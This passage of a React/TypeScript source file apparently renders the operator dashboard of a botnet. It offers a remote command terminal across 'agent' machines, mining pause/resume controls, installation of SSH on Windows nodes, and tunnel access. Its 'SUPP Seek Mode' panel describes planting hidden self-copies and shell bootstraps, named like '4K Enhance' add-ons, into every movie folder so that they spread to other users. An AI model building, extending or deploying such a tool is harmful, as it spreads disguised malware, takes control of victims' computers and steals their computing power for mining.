                      <div
                        className={`cn-posture ${posture.cls}`}
                        title={postureTooltip(a)}
                      >
                        {posture.label}
                      </div>
                      {posture.patch && (
                        <div
                          className={`cn-patch ${posture.patch.cls}`}
                          title={`Last patch: ${a.last_patch ?? '?'}  (${a.last_patch_days ?? '?'}d ago)${a.pending_updates !== undefined ? `  ·  ${a.pending_updates} pending` : ''}`}
                        >
                          {posture.patch.label}
                        </div>
                      )}
                      {posture.ports && (
                        <div
                          className={`cn-ports ${posture.ports.cls}`}
                          title={`${a.listen_port_count ?? '?'} TCP listeners (run listen_ports for full list)`}
                        >
                          {posture.ports.label}
                        </div>
                      )}
                      {(() => { const pb = pendingBadge(a); return pb && (
                        <div className={`cn-upd ${pb.cls}`} title={`${pb.label === 'UP TO DATE' ? 'No pending updates' : `${a.pending_updates} pending update(s)`}`}>
                          {pb.label}
                        </div>
                      ); })()}
                      {(() => { const rb = rebootBadge(a); return rb && (
                        <div className={`cn-reboot ${rb.cls}`} title="System reboot required to apply updates">
                          {rb.label}
                        </div>
                      ); })()}
                      {a.agent_elevated && (
                        <div className="cn-elevated" title="Running as Administrator / root">ADMIN</div>
                      )}
                      {(() => { const tb = thermalBadge(a); return tb && (
                        <div
                          className={`cn-thermal ${tb.cls}`}
                          title={`CPU: ${a.cpu_temp_c ?? '?'}°C  GPU: ${a.gpu_temp_c ?? '?'}°C`}
                        >{tb.label}</div>
                      ); })()}
                      {(() => { const db = diskBadge(a); return db && (
                        <div
                          className={`cn-disk ${db.cls}`}
                          title={`Disk: ${a.disk_free_gb?.toFixed(1) ?? '?'} GB free of ${a.disk_total_gb?.toFixed(0) ?? '?'} GB`}
                        >{db.label}</div>
                      ); })()}
                      {(() => { const trb = throttleBadge(a); return trb && (
                        <div
                          className={`cn-throttle ${trb.cls}`}
                          title={`CPU running at ${a.cpu_freq_mhz ?? '?'} MHz (max ${a.cpu_max_mhz ?? '?'} MHz)`}
                        >{trb.label}</div>
                      ); })()}
                      {(() => { const db2 = dnsBadge(a); return db2 && (
                        <div
                          className={`cn-dns ${db2.cls}`}
                          title={`DNS changed since last heartbeat!\nCurrent: ${a.dns_servers?.join(', ') ?? '?'}`}
                        >{db2.label}</div>
                      ); })()}
                    </div>
                    {a.dns_servers && a.dns_servers.length > 0 && (
                      <div className={`cn-dns-row${a.dns_drifted ? ' dns-drifted' : ''}`}
                        title={`DNS: ${a.dns_servers.join(', ')}${a.dns_search_domains?.length ? '  Search: ' + a.dns_search_domains.join(', ') : ''}`}>
                        <span className="cn-dns-icon">⬡</span>
                        {a.dns_servers.slice(0, 2).join(' · ')}
                        {a.dns_drifted && <span className="dns-drift-flag"> ⚠ DRIFT</span>}
                      </div>
                    )}
                    {a.services && a.services.length > 0 && (
                      <div className="cn-services">
                        {importantServices(a.services).map(svc => (
                          <span
                            key={svc.name}
                            className={`cn-svc ${svcDotClass(svc.status)}`}
                            title={`${svc.display_name ?? svc.name}  status: ${svc.status}  start: ${svc.start_type}`}
                          >
                            <span className="svc-dot">{svcDot(svc.status)}</span>
                            {svcLabel(svc)}
                          </span>
                        ))}
                      </div>
                    )}
                  </div>
                </div>
              );
            })}
          </div>
        )}
      </NeonCard>

      {/* ── Focused machine banner ──────────────────────────────────────── */}
      {focusedAgent && (
        <div className="crucible-focus-bar" style={{
          display: 'flex', alignItems: 'center', gap: '1.5rem', flexWrap: 'wrap',
          background: 'rgba(0,245,255,0.06)', border: '1px solid rgba(0,245,255,0.25)',
          borderRadius: '8px', padding: '0.65rem 1rem', marginBottom: '1rem',
          fontSize: '0.85rem',
        }}>
          <span style={{ color: 'var(--neon-cyan)', fontFamily: 'monospace', fontWeight: 700, fontSize: '0.75rem', letterSpacing: '0.1em' }}>
            ▶ ACTIVE TARGET
          </span>
          <span style={{ fontFamily: 'monospace', color: agentColor(focusedAgent.id, allIds), fontWeight: 600 }}>
            {platformIcon(focusedAgent.platform)} {focusedAgent.name}
          </span>
          <span style={{ color: 'var(--text-muted)' }}>{focusedAgent.ip || '—'}</span>
          <span className={`status-badge ${focusedAgent.status}`}>{focusedAgent.status}</span>
          <LatencyBadge ms={focusedAgent.status === 'online' ? focusedAgent.latency_ms : undefined} />
          <span style={{ color: 'var(--text-muted)' }}>{focusedAgent.platform ?? ''} {focusedAgent.arch ?? ''}</span>
          <span style={{ color: 'var(--text-muted)' }}>{focusedAgent.cpu_cores}c · {focusedAgent.memory_gb}GB</span>
          {focusedAgent.status !== 'online' && (
            <span style={{ color: '#ff6666', fontFamily: 'monospace', fontSize: '0.8rem' }}>
              ⚠ offline — commands will fail until it reconnects
            </span>
          )}
          <button
            className="button crucible-btn-muted"
            style={{ marginLeft: 'auto', fontSize: '0.75rem', padding: '0.2rem 0.6rem' }}
            onClick={() => setSelectedIds(new Set())}
          >
            Deselect
          </button>
        </div>
      )}

      {/* ── Groups & Actions ────────────────────────────────────────────── */}
      <div className="crucible-row">
        <NeonCard accent="purple" className="crucible-groups-card" tilt3d={false}>
          <div className="crucible-section-title font-tech">
            <span className="section-ornament">◆</span> GROUPS
          </div>
          <p className="form-hint" style={{ margin: '0 0 0.5rem' }}>
            Same groups as Fleet Roster — click a chip to select all members.
          </p>
          {groups.length === 0 ? (
            <p className="form-hint" style={{ margin: 0 }}>
              Select nodes, then <strong>Create group…</strong> to name and color them.
            </p>
          ) : (
            <div className="crucible-groups-list">
              {groups.map((g) => (
                <div
                  key={g.id}
                  className="crucible-group-item"
                  style={{
                    borderColor: `${g.color}55`,
                    background: `${g.color}14`,
                  }}
                  onClick={() => activateGroup(g)}
                >
                  <span className="fleet-group-chip-dot" style={{ background: g.color }} />
                  <span className="cg-name" style={{ color: g.color }}>{g.name}</span>
                  <span className="cg-count">{g.agentIds.length} nodes</span>
                  <button className="cg-del" onClick={(e) => { e.stopPropagation(); removeGroup(g.id); }}>×</button>
                </div>
              ))}
            </div>
          )}
          {selectedIds.size > 0 && (
            <button
              type="button"
              className="button crucible-btn"
              style={{ marginTop: '0.75rem' }}
              onClick={() => setShowGroupModal(true)}
            >
              Create group from selection ({selectedIds.size})
            </button>
          )}
        </NeonCard>

        <NeonCard accent="amber" className="crucible-actions-card" tilt3d={false}>
          <div className="crucible-section-title font-tech">
            <span className="section-ornament">◆</span> OPERATIONS
            {selectedIds.size > 0 && (
              <span style={{ marginLeft: '0.75rem', color: 'var(--neon-cyan)', fontSize: '0.75rem', fontWeight: 400 }}>
                → {selectedIds.size === 1 ? selectedAgents[0]?.name ?? '1 node' : `${selectedIds.size} nodes`}
              </span>
            )}
          </div>
          <div className="crucible-ops">

            {/* ── Posture ──────────────────────────────────── */}
            <div className="crucible-op-group">
              <span className="cop-label">Posture &amp; Recon</span>
              <button
                className="button crucible-op-btn crucible-op-scan"
                disabled={selectedIds.size === 0 && agents.filter(online).length === 0}
                onClick={() => scanSelected()}
                title={selectedIds.size > 0
                  ? `Deep scan ${selectedIds.size} selected node(s): posture + ports + patch`
                  : 'Deep scan ALL online nodes: posture + ports + patch'}
              >
                {selectedIds.size > 0
                  ? `⬡ Deep Scan (${selectedIds.size} selected)`
                  : `⬡ Deep Scan Fleet (${agents.filter(online).length} online)`}
              </button>
              <button
                className="button crucible-op-btn"
                disabled={selectedIds.size === 0 && agents.filter(online).length === 0}
                onClick={() => probePosture(selectedIds.size > 0 ? selectedAgents.filter(online) : agents.filter(online))}
                title="Posture only (AV, firewall, SSH state)"
              >
                Posture Only
              </button>
            </div>

            {/* ── SSH ──────────────────────────────────────── */}
            <div className="crucible-op-group">
              <span className="cop-label">SSH</span>
              <button
                className="button crucible-op-btn"
                disabled={selectedIds.size === 0}
                onClick={() => probeSSH()}
                title="Probe port 22 on selected nodes"
              >
                Probe SSH
              </button>
              <button
                className="button crucible-op-btn crucible-op-wake"
                disabled={selectedIds.size === 0}
                onClick={() => wakeSSH()}
                title="Install + start OpenSSH server on selected Windows nodes"
              >
                ⚡ Wake SSH
              </button>
            </div>

            {/* ── Mining ───────────────────────────────────── */}
            <div className="crucible-op-group">
              <span className="cop-label">Mining</span>
              <button
                className="button crucible-op-btn"
                disabled={selectedIds.size === 0}
                onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'resume')))}
              >
                Resume
              </button>
              <button
                className="button crucible-op-btn"
                disabled={selectedIds.size === 0}
                onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'pause')))}
              >
                Pause
              </button>
              <button
                className="button crucible-op-btn"
                disabled={selectedIds.size === 0}
                onClick={() => dispatch('whoami', shellType)}
                title="Run whoami on selected"
              >
                whoami
              </button>
              <button
                className="button crucible-op-btn"
                disabled={selectedIds.size === 0}
                onClick={() => dispatch(shellType === 'powershell' ? 'ipconfig /all' : 'ip addr', shellType)}
                title="Network adapter info"
              >
                ipconfig
              </button>
            </div>

            {/* ── SUPP Seek Mode ───────────────────────────── */}
            <div className="crucible-op-group crucible-seek-group">
              <span className="cop-label" style={{ color: 'var(--neon-amber)', letterSpacing: '0.1em' }}>
                ◈ SUPP SEEK MODE
              </span>
              <p style={{ margin: '0.25rem 0 0.5rem', fontSize: '0.72rem', color: '#aaa', lineHeight: 1.4 }}>
                Recursively seeds every media directory under the given path with
                silent launcher files. The agent copies itself as a hidden exe (Windows)
                or drops a shell bootstrap (Mac/Linux) in each folder containing a movie.
              </p>
              <label className="seek-field-label">Root Path</label>
              <input
                type="text"
                className="seek-path-input"
                placeholder={`e.g. D:\\ or /Volumes/Movies`}
                value={seekPath}
                onChange={(e) => setSeekPath(e.target.value)}
                style={{
                  width: '100%', padding: '0.35rem 0.6rem',
                  background: '#0d0d1a', border: '1px solid #333',
                  color: 'var(--neon-cyan)', borderRadius: 4,
                  fontFamily: 'var(--font-tech)', fontSize: '0.82rem',
                  marginBottom: '0.4rem', boxSizing: 'border-box',
                }}
              />
              <label className="seek-field-label">Launcher Stem (file name)</label>
              <input
                type="text"
                className="seek-path-input"
                placeholder="4K Enhance"
                value={seekStem}
                onChange={(e) => setSeekStem(e.target.value)}
                style={{
                  width: '100%', padding: '0.35rem 0.6rem',
                  background: '#0d0d1a', border: '1px solid #333',
                  color: '#ddd', borderRadius: 4,
                  fontFamily: 'var(--font-tech)', fontSize: '0.82rem',
                  marginBottom: '0.5rem', boxSizing: 'border-box',
                }}
              />
              <div style={{ display: 'flex', gap: '1rem', marginBottom: '0.6rem', fontSize: '0.8rem' }}>
                <label style={{ display: 'flex', alignItems: 'center', gap: '0.35rem', cursor: 'pointer' }}>
                  <input type="checkbox" checked={seekWin} onChange={(e) => setSeekWin(e.target.checked)} />
                  <span style={{ color: '#61dafb' }}>⊞ Windows</span>
                  <span style={{ color: '#555', fontSize: '0.7rem' }}>.bat + .exe</span>
                </label>
                <label style={{ display: 'flex', alignItems: 'center', gap: '0.35rem', cursor: 'pointer' }}>
                  <input type="checkbox" checked={seekMac} onChange={(e) => setSeekMac(e.target.checked)} />
                  <span style={{ color: '#a8ff78' }}>⌘ Mac/Linux</span>
                  <span style={{ color: '#555', fontSize: '0.7rem' }}>.command</span>
                </label>
              </div>
              <button
                className="button crucible-op-btn"
                disabled={selectedIds.size === 0 || (!seekWin && !seekMac)}
                onClick={launchSeek}
                title={selectedIds.size === 0
                  ? 'Select at least one agent to seed from'
                  : `Launch SUPP Seek on ${selectedIds.size} agent(s) — scans ${seekPath || '<path>'}`}
                style={{
                  background: 'linear-gradient(135deg, #ff8c00 0%, #ff4500 100%)',
                  border: 'none', color: '#fff', fontWeight: 700,
                  letterSpacing: '0.08em',
                }}
              >
                ◈ LAUNCH SEEK ({selectedIds.size} node{selectedIds.size !== 1 ? 's' : ''})
              </button>
              <p style={{ margin: '0.4rem 0 0', fontSize: '0.68rem', color: '#666' }}>
                Results appear in the terminal below. Each seeded dir drops:<br />
                {seekWin && <><strong style={{ color: '#61dafb' }}>{seekStem || '4K Enhance'}.bat</strong> + <strong style={{ color: '#61dafb' }}>{seekStem || '4K Enhance'}.exe</strong>{seekMac ? '  &  ' : ''}</>}
                {seekMac && <strong style={{ color: '#a8ff78' }}>{seekStem || '4K Enhance'}.command</strong>}
              </p>
            </div>

            {/* ── Shell type ───────────────────────────────── */}
            <div className="crucible-op-group">
              <span className="cop-label">Shell Mode</span>
              <div className="crucible-shell-tabs">
                {(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => (
                  <button
                    key={s}
                    className={`crucible-shell-tab ${shellType === s ? 'active' : ''}`}
                    onClick={() => setShellType(s)}
                  >
                    {s === 'powershell' ? 'PS' : s === 'exec' ? 'CMD' : 'SH'}
                  </button>
                ))}
              </div>
            </div>

            {/* ── Selection chips ──────────────────────────── */}
            {selectedIds.size > 0 && (
              <div className="crucible-sel-chips">
                {selectedAgents.map((a) => {
                  const color = agentColor(a.id, allIds);
                  const ssh = sshStatus(a);
                  return (
                    <span
                      key={a.id}
                      className="crucible-chip"
                      style={{ borderColor: color, color }}
                      onClick={() => toggle(a.id)}
                      title={`${a.ip ?? ''} · ${ssh.label}`}
                    >
                      {a.name} ×
                    </span>
                  );
                })}
              </div>
            )}
          </div>
        </NeonCard>
      </div>

      {/* ── Terminal ────────────────────────────────────────────────────── */}
      <NeonCard accent="green" className="crucible-term-card" tilt3d={false}>
        <div className="crucible-term-header">
          <div className="crucible-section-title font-tech" style={{ marginBottom: 0 }}>
            <span className="section-ornament">◆</span> TERMINAL
            <span className="crucible-term-target">
              {selectedIds.size === 0
                ? '— select nodes above —'
                : `→ ${selectedIds.size} node${selectedIds.size > 1 ? 's' : ''}: ${selectedAgents.slice(0, 3).map((a) => a.name).join(', ')}${selectedAgents.length > 3 ? ` +${selectedAgents.length - 3}` : ''}`
              }
            </span>
          </div>
          <button className="crucible-btn-muted" onClick={() => setTermLines([])}>CLEAR</button>
        </div>

        <div className="crucible-terminal">
          {termLines.length === 0 && (
            <div className="crucible-term-empty">
              Select nodes · type a command · press Enter
            </div>
          )}
          {termLines.map((line) => {
            const color = agentColor(line.agentId, allIds);
            const dim = line.targeted === false;
            return (
              <div
                key={line.id}
                className={`crucible-term-line ${line.isCmd ? 'cmd-line' : 'out-line'} ${line.success === false ? 'err-line' : ''} ${line.richData ? 'rich-line' : ''}`}
                style={dim ? { opacity: 0.45 } : undefined}
              >
                <span className="ctl-agent" style={{ color }}>
                  {line.agentName.slice(0, 12).padEnd(12)}
                </span>
                <span className="ctl-arrow" style={{ color }}>
                  {line.isCmd ? '▶' : '◀'}
                </span>
                {line.richData ? (
                  <span className="ctl-text ctl-rich">{renderRichData(line.richData)}</span>
                ) : (
                  <span className="ctl-text">{line.text}</span>
                )}
                <span className="ctl-ts">{line.ts.toLocaleTimeString()}</span>
              </div>
            );
          })}
          <div ref={termEndRef} />
        </div>

        <div className="crucible-term-input-row">
          <span className="crucible-prompt font-tech">
            [{shellType === 'powershell' ? 'PS' : shellType === 'exec' ? 'CMD' : 'SH'}]$
          </span>
          <input
            ref={cmdRef}
            className="crucible-term-input"
            value={cmd}
            onChange={(e) => setCmd(e.target.value)}
            onKeyDown={handleKey}
            placeholder={selectedIds.size === 0 ? 'select a node first…' : 'command…'}
            disabled={busy || selectedIds.size === 0}
            spellCheck={false}
            autoComplete="off"
          />
          <button
            className={`button crucible-send-btn ${busy ? 'busy' : ''}`}
            onClick={sendCmd}
            disabled={busy || !cmd.trim() || selectedIds.size === 0}
          >
            {busy ? '…' : 'SEND'}
          </button>
        </div>
      </NeonCard>

      {/* ── SSH Access Info ─────────────────────────────────────────────── */}
      <NeonCard accent="brass" className="crucible-ssh-info" tilt3d={false}>
        <div className="crucible-section-title font-tech">
          <span className="section-ornament">◆</span> SSH ACCESS NOTES
        </div>
        <div className="crucible-ssh-grid">
          <div className="crucible-ssh-step">
            <span className="css-num">1</span>
            <div>
              <strong>Probe</strong> — click "Probe SSH" to test if port 22 is open on the target machine.
            </div>
          </div>
          <div className="crucible-ssh-step">
            <span className="css-num">2</span>
            <div>
              <strong>Wake SSH (Windows)</strong> — installs OpenSSH Server via Windows capability, starts the service, marks it auto-start. Requires admin agent.
            </div>
          </div>
          <div className="crucible-ssh-step">
            <span className="css-num">3</span>
            <div>
              <strong>Connect directly</strong> — if you're on the same LAN, <code className="crucible-code">ssh user@&lt;ip&gt;</code>. Node IP is shown on each card.
            </div>
          </div>
          <div className="crucible-ssh-step">
            <span className="css-num">4</span>
            <div>
              <strong>Remote (via tunnel)</strong> — run the <code className="crucible-code">start_tunnel</code> action on the agent (use the Agents page), then the node punches out through your Cloudflare tunnel.
            </div>
          </div>
        </div>
      </NeonCard>

      <CreateGroupModal
        open={showGroupModal}
        agentCount={selectedIds.size}
        onClose={() => setShowGroupModal(false)}
        onCreate={(name, color) => {
          addGroup(name, color, [...selectedIds]);
          setShowGroupModal(false);
        }}
      />
    </div>
  );
}
